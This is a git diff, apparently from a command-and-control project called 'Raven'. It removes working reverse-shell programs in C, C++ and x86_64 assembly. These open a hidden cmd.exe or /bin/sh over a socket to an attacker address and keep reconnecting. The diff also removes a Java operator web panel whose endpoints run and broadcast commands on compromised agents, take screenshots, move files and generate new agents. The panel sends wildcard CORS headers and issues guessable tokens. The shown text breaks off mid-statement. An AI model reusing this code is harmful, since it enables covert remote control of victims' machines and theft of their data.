- HWND hwnd = GetConsoleWindow(); - if (hwnd != NULL) { - ShowWindow(hwnd, SW_HIDE); - } - WSADATA wsaData; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; -#endif - - while (1) { -#if defined(_WIN32) || defined(WIN32) - SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); - if (s == INVALID_SOCKET) { - std::cout << "[!] server seems down. reconnecting..." << std::endl; - SLEEP(5000); - continue; - } - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { - CLOSESOCKET(s); - std::cout << "[!] server seems down. reconnecting..." << std::endl; - SLEEP(5000); - continue; - } - - std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; - - STARTUPINFO si; - PROCESS_INFORMATION pi; - memset(&si, 0, sizeof(si)); - si.cb = sizeof(si); - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; - si.hStdInput = (HANDLE)s; - si.hStdOutput = (HANDLE)s; - si.hStdError = (HANDLE)s; - - char cmd[] = "cmd.exe"; - if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { - WaitForSingleObject(pi.hProcess, INFINITE); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - CLOSESOCKET(s); -#else - int s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) { - std::cout << "[!] server seems down. reconnecting..." << std::endl; - SLEEP(5000); - continue; - } - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { - CLOSESOCKET(s); - std::cout << "[!] server seems down. reconnecting..." << std::endl; - SLEEP(5000); - continue; - } - - std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; - - pid_t pid = fork(); - if (pid == 0) { - dup2(s, 0); - dup2(s, 1); - dup2(s, 2); - execl("/bin/sh", "sh", (char*)NULL); - return 0; - } else if (pid > 0) { - int status; - waitpid(pid, &status, 0); - } - - CLOSESOCKET(s); -#endif - std::cout << "[!] server seems down. reconnecting..." << std::endl; - SLEEP(5000); - } - -#if defined(_WIN32) || defined(WIN32) - WSACleanup(); -#endif - return 0; -} diff --git a/shell/shell.asm b/shell/shell.asm deleted file mode 100644 index 1817871..0000000 --- a/shell/shell.asm +++ /dev/null @@ -1,142 +0,0 @@ -; ASSEMBLY REVERSE SHELL SCRIPT -; AUTHOR: MatrixTM26 -; TARGET: LINUX x86_64 (ELF64 BIT) -; compile: -; nasm -f elf64 shell.asm -o shell_asm_out.o -; gcc shell_asm_out.o -o shell_asm -no-pie -lc - -section .data - ATTACKERIP db "127.0.0.1", 0 - ATTACKERPORT dw 4444 - binsh db "/bin/sh", 0 - shstr db "sh", 0 - msg_down db "[!] server seems down. reconnecting...", 10, 0 - msg_down_len equ $ - msg_down - msg_connected db "[+] connected to 127.0.0.1:25000", 10, 0 - msg_conn_len equ $ - msg_connected - -section .bss - addr resb 16 - s resd 1 - pid resd 1 - status resd 1 - -section .text - global _start - - extern socket - extern connect - extern close - extern dup2 - extern execl - extern fork - extern waitpid - extern write - extern usleep - extern htons - extern inet_addr - -_start: -.loop: - mov edi, 2 - mov esi, 1 - xor edx, edx - xor eax, eax - call socket - test eax, eax - js .server_down - mov [s], eax - - mov word [addr], 2 - - movzx edi, word [ATTACKERPORT] - xor eax, eax - call htons - mov word [addr+2], ax - - lea rdi, [ATTACKERIP] - xor eax, eax - call inet_addr - mov dword [addr+4], eax - - mov qword [addr+8], 0 - - mov edi, [s] - lea rsi, [addr] - mov edx, 16 - xor eax, eax - call connect - test eax, eax - js .close_and_reconnect - - mov edi, 1 - lea rsi, [msg_connected] - mov edx, msg_conn_len - 1 - xor eax, eax - call write - - xor eax, eax - call fork - mov [pid], eax - test eax, eax - jz .child_process - js .close_and_reconnect - jmp .parent_process - -.child_process: - mov edi, [s] - xor esi, esi - xor eax, eax - call dup2 - - mov edi, [s] - mov esi, 1 - xor eax, eax - call dup2 - - mov edi, [s] - mov esi, 2 - xor eax, eax - call dup2 - - lea rdi, [binsh] - lea rsi, [shstr] - xor rdx, rdx - xor eax, eax - call execl - - mov eax, 60 - mov edi, 1 - syscall - -.parent_process: - mov edi, [pid] - lea rsi, [status] - xor edx, edx - xor eax, eax - call waitpid - - mov edi, [s] - xor eax, eax - call close - - jmp .reconnect_msg - -.close_and_reconnect: - mov edi, [s] - xor eax, eax - call close - -.server_down: -.reconnect_msg: - mov edi, 1 - lea rsi, [msg_down] - mov edx, msg_down_len - 1 - xor eax, eax - call write - - mov edi, 5000000 - xor eax, eax - call usleep - - jmp .loop \ No newline at end of file diff --git a/shell/shell.c b/shell/shell.c deleted file mode 100644 index a0d6e15..0000000 --- a/shell/shell.c +++ /dev/null @@ -1,83 +0,0 @@ -#include -#include - -#if defined(_WIN32) || defined(WIN32) - #include - #include - #pragma comment(lib, "ws2_32.lib") - #define CLOSESOCKET closesocket - typedef SOCKET SOCKETTYPE; -#else - #include - #include - #include - #define CLOSESOCKET close - typedef int SOCKETTYPE; -#endif - -const char* ATTACKERIP = "127.0.0.1"; -const int ATTACKERPORT = 4444; - -int main() { -#if defined(_WIN32) || defined(WIN32) - WSADATA wsaData; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; - - SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); - if (s == INVALID_SOCKET) return 1; - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { - WSACleanup(); - return 1; - } - - printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); - - STARTUPINFO si; - PROCESS_INFORMATION pi; - memset(&si, 0, sizeof(si)); - si.cb = sizeof(si); - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.hStdInput = (HANDLE)s; - si.hStdOutput = (HANDLE)s; - si.hStdError = (HANDLE)s; - - char cmd[] = "cmd.exe"; - if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { - WaitForSingleObject(pi.hProcess, INFINITE); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } -#else - int s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) return 1; - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1; - - printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); - - dup2(s, 0); - dup2(s, 1); - dup2(s, 2); - - const char* path = "/bin/bash"; - char* args[] = {(char*)path, NULL}; - execve(path, args, NULL); -#endif - - CLOSESOCKET(s); -#if defined(_WIN32) || defined(WIN32) - WSACleanup(); -#endif - return 0; -} diff --git a/shell/shell.cpp b/shell/shell.cpp deleted file mode 100644 index 9ddcd5d..0000000 --- a/shell/shell.cpp +++ /dev/null @@ -1,81 +0,0 @@ -#include -#include - -#if defined(_WIN32) || defined(WIN32) - #include - #include - #pragma comment(lib, "ws2_32.lib") - #define CLOSESOCKET closesocket - typedef SOCKET SOCKETTYPE; -#else - #include - #include - #include - #define CLOSESOCKET close - typedef int SOCKETTYPE; -#endif - -const char* ATTACKERIP = "127.0.0.1"; -const int ATTACKERPORT = 4444; - -int main() { -#if defined(_WIN32) || defined(WIN32) - WSADATA wsaData; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; - - SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); - if (s == INVALID_SOCKET) return 1; - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { - WSACleanup(); - return 1; - } - - std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; - - STARTUPINFO si; - PROCESS_INFORMATION pi; - memset(&si, 0, sizeof(si)); - si.cb = sizeof(si); - si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.hStdInput = (HANDLE)s; - si.hStdOutput = (HANDLE)s; - si.hStdError = (HANDLE)s; - - char cmd[] = "cmd.exe"; - if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { - WaitForSingleObject(pi.hProcess, INFINITE); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } -#else - int s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) return 1; - - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(ATTACKERPORT); - addr.sin_addr.s_addr = inet_addr(ATTACKERIP); - - if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1; - - std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; - - dup2(s, 0); - dup2(s, 1); - dup2(s, 2); - - execl("/bin/sh", "sh", (char*)NULL); -#endif - - CLOSESOCKET(s); -#if defined(_WIN32) || defined(WIN32) - WSACleanup(); -#endif - return 0; -} diff --git a/src/main/java/com/raven/interface/APP/WebApp.java b/src/main/java/com/raven/interface/APP/WebApp.java deleted file mode 100644 index 29a4fa0..0000000 --- a/src/main/java/com/raven/interface/APP/WebApp.java +++ /dev/null @@ -1,811 +0,0 @@ -package com.raven.interfaces.APP; - -import com.google.gson.Gson; -import com.raven.core.db.TeamDatabase; -import com.raven.core.event.EventManager; -import com.raven.core.event.EventManager.EventType; -import com.raven.core.output.Logger; -import com.raven.core.server.ListenerMode; -import com.raven.core.server.RavenServer; -import com.raven.core.session.Session; -import com.raven.utils.ServerConfig; -import com.sun.net.httpserver.*; -import java.io.*; -import java.net.*; -import java.nio.file.*; -import java.time.*; -import java.time.format.DateTimeFormatter; -import java.util.*; -import java.util.concurrent.*; - -public final class WebApp { - - @FunctionalInterface - interface RouteHandler { - String Handle(HttpExchange E) throws Exception; - } - - private final ServerConfig Config; - private final ListenerMode ActiveMode; - private final TeamDatabase Db; - private final Gson GsonInst = new Gson(); - private final int MaxLogs; - private final Path BaseDir; - - private boolean ServerOwned = false; - private RavenServer Server; - private HttpServer HttpSrv; - private Instant ServerStartTime; - - private final List Logs = new CopyOnWriteArrayList<>(); - private final java.util.concurrent.ConcurrentHashMap ActiveTokens = new java.util.concurrent.ConcurrentHashMap<>(); - - public WebApp(ServerConfig Config, ListenerMode Mode) { - this.Config = Config; - this.ActiveMode = Mode; - this.MaxLogs = Config.GetMaxLogEntries(); - this.Db = TeamDatabase.Connect(Config); - this.BaseDir = ResolveBaseDir(); - } - - private Path ResolveBaseDir() { - Path Cwd = Paths.get("").toAbsolutePath(); - if (Files.exists(Cwd.resolve("config"))) return Cwd; - try { - Path Jar = Paths.get(WebApp.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getParent(); - for (Path P : new Path[] { Jar, Jar != null ? Jar.getParent() : null }) if (P != null && Files.exists(P.resolve("config"))) return P.toAbsolutePath(); - } catch (Exception Ignored) {} - return Cwd; - } - - private Path ResolvePath(String Rel) { - Path Direct = Paths.get(Rel); - if (Direct.isAbsolute() && Files.exists(Direct)) return Direct; - Path FromBase = BaseDir.resolve(Rel); - if (Files.exists(FromBase)) return FromBase; - return Paths.get("").toAbsolutePath().resolve(Rel); - } - - public void AttachServer(RavenServer ExistingServer, Instant StartTime) { - this.Server = ExistingServer; - this.ServerStartTime = StartTime; - this.ServerOwned = false; - Logger.Info("WebApp attached to existing RavenServer on " + ExistingServer.GetHost() + ":" + ExistingServer.GetPort()); - } - - public void Run(String Host, int Port) throws Exception { - HttpSrv = HttpServer.create(new InetSocketAddress(Host, Port), 100); - RegisterRoutes(); - HttpSrv.setExecutor(Executors.newFixedThreadPool(20)); - HttpSrv.start(); - Logger.Info("Web Panel Started On http://" + Host + ":" + Port); - Logger.Info("Static Dir : " + ResolvePath(Config.GetStaticDir())); - Logger.Info("Template Dir: " + ResolvePath(Config.GetTemplateDir())); - AddLog("=".repeat(70)); - AddLog("RAVEN WEB PANEL INITIALIZED — MODE: " + ActiveMode.name()); - AddLog("=".repeat(70)); - - if (Server == null) { - Server = new RavenServer(Config.GetServerHost(), Config.GetServerPort(), ActiveMode, Config); - Server.AddEventListener(this::OnEvent); - boolean[] Started = Server.StartServer(); - if (Started[0]) { - ServerOwned = true; - ServerStartTime = Instant.now(); - Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); - T.setDaemon(true); - T.start(); - } else { - Logger.Warn("Agent server failed to start — web panel running in monitor-only mode"); - } - } - } - - private void RegisterRoutes() { - HttpSrv.createContext("/api/auth/login", E -> Route(E, this::ApiAuthLogin)); - HttpSrv.createContext("/api/auth/logout", E -> Route(E, this::ApiAuthLogout)); - HttpSrv.createContext("/api/server/status", E -> Route(E, this::ApiStatus)); - HttpSrv.createContext("/api/server/start", E -> Route(E, this::ApiStart)); - HttpSrv.createContext("/api/server/stop", E -> Route(E, this::ApiStop)); - HttpSrv.createContext("/api/agents", E -> Route(E, this::ApiAgents)); - HttpSrv.createContext("/api/agents/kill", E -> Route(E, this::ApiKill)); - HttpSrv.createContext("/api/command/execute", E -> Route(E, this::ApiExec)); - HttpSrv.createContext("/api/command/broadcast", E -> Route(E, this::ApiBroadcast)); - HttpSrv.createContext("/api/command/broadcastall", E -> Route(E, this::ApiBroadcastAll)); - HttpSrv.createContext("/api/command/history", E -> Route(E, this::ApiCmdHist)); - HttpSrv.createContext("/api/sessions/history", E -> Route(E, this::ApiSessHist)); - HttpSrv.createContext("/api/logs", E -> Route(E, this::ApiLogs)); - HttpSrv.createContext("/api/logs/clear", E -> Route(E, this::ApiLogsClear)); - HttpSrv.createContext("/api/team/operators", E -> Route(E, this::ApiOperators)); - HttpSrv.createContext("/api/team/operators/create", E -> Route(E, this::ApiOpCreate)); - HttpSrv.createContext("/api/team/operators/delete", E -> Route(E, this::ApiOpDelete)); - HttpSrv.createContext("/api/team/operators/role", E -> Route(E, this::ApiOpRole)); - HttpSrv.createContext("/api/team/operators/password", E -> Route(E, this::ApiOpPassword)); - HttpSrv.createContext("/api/team/roles", E -> Route(E, this::ApiRoles)); - HttpSrv.createContext("/api/command/screenshot", E -> Route(E, this::ApiScreenshot)); - HttpSrv.createContext("/api/command/download", E -> Route(E, this::ApiDownload)); - HttpSrv.createContext("/api/command/upload", E -> Route(E, this::ApiUpload)); - HttpSrv.createContext("/api/agent/gen", E -> Route(E, this::ApiAgentGen)); - HttpSrv.createContext("/api/agent/list", E -> Route(E, this::ApiAgentList)); - HttpSrv.createContext("/api/team/operators/kick", E -> Route(E, this::ApiOpKick)); - HttpSrv.createContext("/static/", new StaticHandler()); - HttpSrv.createContext("/", new IndexHandler()); - } - - private void Route(HttpExchange E, RouteHandler H) { - try { - E.getResponseHeaders().add("Content-Type", "application/json"); - E.getResponseHeaders().add("Access-Control-Allow-Origin", "*"); - E.getResponseHeaders().add("Access-Control-Allow-Methods", "GET,POST,OPTIONS"); - E.getResponseHeaders().add("Access-Control-Allow-Headers", "Content-Type"); - if (E.getRequestMethod().equalsIgnoreCase("OPTIONS")) { - E.sendResponseHeaders(200, -1); - return; - } - byte[] Body = H.Handle(E).getBytes("UTF-8"); - E.sendResponseHeaders(200, Body.length); - try (OutputStream O = E.getResponseBody()) { - O.write(Body); - } - } catch (Exception Ex) { - try { - byte[] B = GsonInst.toJson(Map.of("Error", String.valueOf(Ex.getMessage()))).getBytes("UTF-8"); - E.sendResponseHeaders(500, B.length); - try (OutputStream O = E.getResponseBody()) { - O.write(B); - } - } catch (IOException Ignored) {} - } - } - - private String ApiStatus(HttpExchange E) { - boolean Up = Server != null && Server.IsRunning(); - Map R = new LinkedHashMap<>(); - R.put("Status", Up ? "Online" : "Offline"); - R.put("Mode", ActiveMode.name()); - R.put("Host", Up ? Server.GetHost() : Config.GetServerHost()); - R.put("Port", Up ? Server.GetPort() : Config.GetServerPort()); - R.put("StartedAt", ServerStartTime != null ? ServerStartTime.getEpochSecond() : 0); - R.put("Uptime", Uptime()); - R.put("Agents", Up ? Server.GetSessions().Count() : 0); - R.put("DbOnline", Db.IsConnected()); - R.put("DbType", Config.GetDbType()); - if (Up) R.put("Key", Server.GetKeyBase64()); - return GsonInst.toJson(R); - } - - private String ApiStart(HttpExchange E) throws Exception { - if (Server != null && Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Already running")); - Map B = Body(E); - String Host = Str(B, "Host", Config.GetServerHost()); - int Port = Num(B, "Port", Config.GetServerPort()); - Server = new RavenServer(Host, Port, ActiveMode, Config); - Server.AddEventListener(this::OnEvent); - boolean[] R = Server.StartServer(); - if (!R[0]) { - AddLog("Failed to start server"); - return GsonInst.toJson(Map.of("Error", "Failed to start server")); - } - ServerStartTime = Instant.now(); - AddLog("Server started on " + Host + ":" + Port); - new Thread(Server::AcceptConnections, "AcceptConnections").start(); - return GsonInst.toJson(Map.of("Success", true, "Host", Host, "Port", Port, "Mode", ActiveMode.name(), "StartedAt", ServerStartTime.getEpochSecond())); - } - - private String ApiStop(HttpExchange E) { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Not running")); - Server.StopServer(); - Server = null; - ServerStartTime = null; - AddLog("Server stopped"); - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiAgents(HttpExchange E) { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Agents", Collections.emptyList())); - List> List = new ArrayList<>(); - for (Session S : Server.GetSessions().GetAll()) { - Map A = new LinkedHashMap<>(); - A.put("ID", S.GetId()); - A.put("Hostname", S.GetHostname()); - A.put("OS", S.GetOs()); - A.put("User", S.GetUser()); - A.put("Arch", S.GetArch()); - A.put("AgentIP", S.GetAgentIp()); - A.put("AgentName", S.GetAgentName()); - A.put("JoinedAt", S.GetJoinedAt()); - A.put("Type", S.GetSessionType().name()); - A.put("ShellMode", S.GetShellMode()); - A.put("Encrypted", S.IsEncrypted()); - A.put("MtlsEnabled", S.IsMtlsEnabled()); - A.put("Note", Db.GetAgentNote(S.GetId())); - List.add(A); - } - return GsonInst.toJson(Map.of("Agents", List)); - } - - private String ApiKill(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - int Id = Num(Body(E), "AgentId", 0); - if (Id == 0) return GsonInst.toJson(Map.of("Error", "AgentId required")); - Server.RemoveSession(Id); - AddLog("[KILL] Agent-" + Id); - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiExec(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - int AgentId = Num(B, "AgentId", 0); - String Command = Str(B, "Command", ""); - String Operator = Str(B, "Operator", "system"); - if (AgentId == 0 || Command.isEmpty()) return GsonInst.toJson(Map.of("Error", "AgentId and Command required")); - AddLog("[>] [" + Operator + "] Agent-" + AgentId + " » " + Command); - String[] R = Server.ExecuteCommand(AgentId, Command); - boolean Ok = Boolean.parseBoolean(R[0]); - Db.SaveCommandLog(AgentId, Operator, Command, R[1], Ok); - AddLog(Ok ? "" + R[1] : "" + R[1]); - return GsonInst.toJson(Map.of("Success", Ok, "Output", R[1], "Command", Command)); - } - - private String ApiBroadcast(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - String Command = Str(B, "Command", ""); - String Operator = Str(B, "Operator", "system"); - @SuppressWarnings("unchecked") - java.util.List Raw = (java.util.List) B.getOrDefault("AgentIds", new ArrayList<>()); - if (Command.isEmpty()) return GsonInst.toJson(Map.of("Error", "Command required")); - java.util.List Ids = new ArrayList<>(); - for (Object O : Raw) { - try { - Ids.add((int) Double.parseDouble(O.toString())); - } catch (Exception Ign) {} - } - if (Ids.isEmpty()) return GsonInst.toJson(Map.of("Error", "AgentIds required")); - AddLog("[BROADCAST] [" + Operator + "] → " + Ids.size() + " agents » " + Command); - Map Results = Server.BroadcastCommand(Ids, Command); - Map Out = new LinkedHashMap<>(); - for (Map.Entry En : Results.entrySet()) { - boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - Out.put(String.valueOf(En.getKey()), Map.of("Success", Ok, "Output", En.getValue()[1])); - Db.SaveCommandLog(En.getKey(), Operator, Command, En.getValue()[1], Ok); - } - return GsonInst.toJson(Map.of("Success", true, "Results", Out, "Count", Results.size())); - } - - private String ApiBroadcastAll(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - String Command = Str(B, "Command", ""); - String Operator = Str(B, "Operator", "system"); - if (Command.isEmpty()) return GsonInst.toJson(Map.of("Error", "Command required")); - AddLog("[BROADCAST-ALL] [" + Operator + "] → " + Server.GetSessions().Count() + " agents » " + Command); - Map Results = Server.BroadcastAll(Command); - Map Out = new LinkedHashMap<>(); - for (Map.Entry En : Results.entrySet()) { - boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - Out.put(String.valueOf(En.getKey()), Map.of("Success", Ok, "Output", En.getValue()[1])); - Db.SaveCommandLog(En.getKey(), Operator, Command, En.getValue()[1], Ok); - } - return GsonInst.toJson(Map.of("Success", true, "Results", Out, "Count", Results.size())); - } - - private String ApiCmdHist(HttpExchange E) throws Exception { - Map B = Body(E); - return GsonInst.toJson(Map.of("History", Db.GetCommandHistory(Num(B, "AgentId", 0), Num(B, "Limit", 100)))); - } - - private String ApiSessHist(HttpExchange E) throws Exception { - return GsonInst.toJson(Map.of("Sessions", Db.GetSessionHistory(Num(Body(E), "Limit", 100)))); - } - - private String ApiLogs(HttpExchange E) { - return GsonInst.toJson(Map.of("Logs", new ArrayList<>(Logs))); - } - - private String ApiLogsClear(HttpExchange E) { - Logs.clear(); - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiOperators(HttpExchange E) { - return GsonInst.toJson(Map.of("Operators", Db.GetOperators())); - } - - private String ApiOpCreate(HttpExchange E) throws Exception { - Map B = Body(E); - String User = Str(B, "Username", ""); - String Pass = Str(B, "Password", ""); - String Role = Str(B, "Role", "MEMBER"); - if (User.isEmpty() || Pass.isEmpty()) return GsonInst.toJson(Map.of("Error", "Username and Password required")); - if (Pass.length() < 8) return GsonInst.toJson(Map.of("Error", "Password must be at least 8 characters")); - TeamDatabase.OperatorRole R = TeamDatabase.OperatorRole.FromString(Role); - if (!Db.CreateOperator(User, TeamDatabase.HashPassword(Pass), R)) return GsonInst.toJson(Map.of("Error", "Username already exists")); - AddLog("[TEAM] Operator created: " + User + " [" + R + "]"); - return GsonInst.toJson(Map.of("Success", true, "Username", User, "Role", R.name())); - } - - private String ApiOpDelete(HttpExchange E) throws Exception { - String User = Str(Body(E), "Username", ""); - if (User.isEmpty()) return GsonInst.toJson(Map.of("Error", "Username required")); - if (User.equalsIgnoreCase(Config.GetAdminUsername())) return GsonInst.toJson(Map.of("Error", "Cannot delete admin")); - boolean Del = Db.DeleteOperator(User); - if (Del) AddLog("[TEAM] Operator deleted: " + User); - return GsonInst.toJson(Map.of("Success", Del)); - } - - private String ApiOpRole(HttpExchange E) throws Exception { - Map B = Body(E); - String User = Str(B, "Username", ""); - String Role = Str(B, "Role", ""); - if (User.isEmpty() || Role.isEmpty()) return GsonInst.toJson(Map.of("Error", "Username and Role required")); - if (User.equalsIgnoreCase(Config.GetAdminUsername())) return GsonInst.toJson(Map.of("Error", "Cannot change admin role")); - TeamDatabase.OperatorRole R = TeamDatabase.OperatorRole.FromString(Role); - Db.UpdateOperatorRole(User, R); - AddLog("[TEAM] Role updated: " + User + " → " + R); - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiOpPassword(HttpExchange E) throws Exception { - Map B = Body(E); - String User = Str(B, "Username", ""); - String NewPass = Str(B, "Password", ""); - if (User.isEmpty() || NewPass.isEmpty()) return GsonInst.toJson(Map.of("Error", "Username and Password required")); - if (NewPass.length() < 8) return GsonInst.toJson(Map.of("Error", "Password must be at least 8 characters")); - boolean Ok = Db.UpdateOperatorPassword(User, TeamDatabase.HashPassword(NewPass)); - if (Ok) AddLog("[TEAM] Password changed: " + User); - return GsonInst.toJson(Map.of("Success", Ok)); - } - - private String ApiRoles(HttpExchange E) { - List> Roles = new ArrayList<>(); - for (TeamDatabase.OperatorRole R : TeamDatabase.OperatorRole.values()) { - Map M = new LinkedHashMap<>(); - M.put("Name", R.name()); - M.put("Permissions", R.PermissionString()); - M.put("CanExec", R.CanExecute()); - M.put("CanWrite", R.CanWrite()); - M.put("CanRead", R.CanRead()); - M.put("CanKill", R.CanKillSession()); - M.put("CanManage", R.CanManage()); - M.put("CanKick", R.CanKickOperator()); - Roles.add(M); - } - return GsonInst.toJson(Map.of("Roles", Roles)); - } - - private String ApiAuthLogin(HttpExchange E) throws Exception { - Map B = Body(E); - String User = Str(B, "Username", ""); - String Pass = Str(B, "Password", ""); - - if (User.isEmpty() && Pass.isEmpty()) { - return GsonInst.toJson(Map.of("Mode", "teamserver")); - } - - if (!Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) { - return GsonInst.toJson(Map.of("Error", "Invalid credentials")); - } - Db.UpdateLastSeen(User); - TeamDatabase.OperatorRole Role = Db.GetOperatorRole(User); - - String TokenRaw = User + ":" + Role.name() + ":" + System.currentTimeMillis(); - String Token = java.util.Base64.getEncoder().encodeToString(TokenRaw.getBytes("UTF-8")); - ActiveTokens.put(Token, User); - - return GsonInst.toJson(Map.of("Token", Token, "Username", User, "Role", Role.name(), "Permissions", Role.PermissionString())); - } - - private String ApiAuthLogout(HttpExchange E) throws Exception { - String Auth = E.getRequestHeaders().getFirst("Authorization"); - if (Auth != null && Auth.startsWith("Bearer ")) { - ActiveTokens.remove(Auth.substring(7)); - } - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiChatSend(HttpExchange E) throws Exception { - Map B = Body(E); - String From = Str(B, "From", "web"); - String To = Str(B, "To", "all"); - String Msg = Str(B, "Message", ""); - if (Msg.isEmpty()) return GsonInst.toJson(Map.of("Error", "Message required")); - Db.SaveChatLog(From, To, Msg); - AddLog("[CHAT] " + From + " → " + To + ": " + Msg); - return GsonInst.toJson(Map.of("Success", true)); - } - - private String ApiChatHistory(HttpExchange E) throws Exception { - int Limit = Num(Body(E), "Limit", 100); - return GsonInst.toJson(Map.of("Chat", Db.GetChatLogs(Limit))); - } - - private String ApiScreenshot(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - int AgentId = Num(B, "AgentId", 0); - String Operator = Str(B, "Operator", "system"); - if (AgentId == 0) return GsonInst.toJson(Map.of("Error", "AgentId required")); - String[] R = Server.ExecuteCommand(AgentId, "screenshot"); - boolean Ok = Boolean.parseBoolean(R[0]); - Db.SaveCommandLog(AgentId, Operator, "screenshot", R[1], Ok); - AddLog("[SCREENSHOT] Agent-" + AgentId + " → " + (Ok ? "saved" : R[1])); - return GsonInst.toJson(Map.of("Success", Ok, "Output", R[1])); - } - - private String ApiDownload(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - int AgentId = Num(B, "AgentId", 0); - String Path = Str(B, "Path", ""); - String Operator = Str(B, "Operator", "system"); - if (AgentId == 0 || Path.isEmpty()) return GsonInst.toJson(Map.of("Error", "AgentId and Path required")); - String[] R = Server.ExecuteCommand(AgentId, "download " + Path); - boolean Ok = Boolean.parseBoolean(R[0]); - Db.SaveCommandLog(AgentId, Operator, "download " + Path, R[1], Ok); - AddLog("[DOWNLOAD] Agent-" + AgentId + " ← " + Path + (Ok ? " OK" : " FAILED")); - return GsonInst.toJson(Map.of("Success", Ok, "Output", R[1], "Path", Path)); - } - - private String ApiUpload(HttpExchange E) throws Exception { - if (Server == null || !Server.IsRunning()) return GsonInst.toJson(Map.of("Error", "Server not running")); - Map B = Body(E); - int AgentId = Num(B, "AgentId", 0); - String LocalPath = Str(B, "LocalPath", ""); - String RemotePath = Str(B, "RemotePath", ""); - String Operator = Str(B, "Operator", "system"); - if (AgentId == 0 || LocalPath.isEmpty()) return GsonInst.toJson(Map.of("Error", "AgentId and LocalPath required")); - String Cmd = RemotePath.isEmpty() ? "upload " + LocalPath : "upload " + LocalPath + " " + RemotePath; - String[] R = Server.ExecuteCommand(AgentId, Cmd); - boolean Ok = Boolean.parseBoolean(R[0]); - Db.SaveCommandLog(AgentId, Operator, Cmd, R[1], Ok); - AddLog("[UPLOAD] Agent-" + AgentId + " → " + LocalPath + (Ok ? " OK" : " FAILED")); - return GsonInst.toJson(Map.of("Success", Ok, "Output", R[1])); - } - - private String ApiOpKick(HttpExchange E) throws Exception { - Map B = Body(E); - String User = Str(B, "Username", ""); - if (User.isEmpty()) return GsonInst.toJson(Map.of("Error", "Username required")); - if 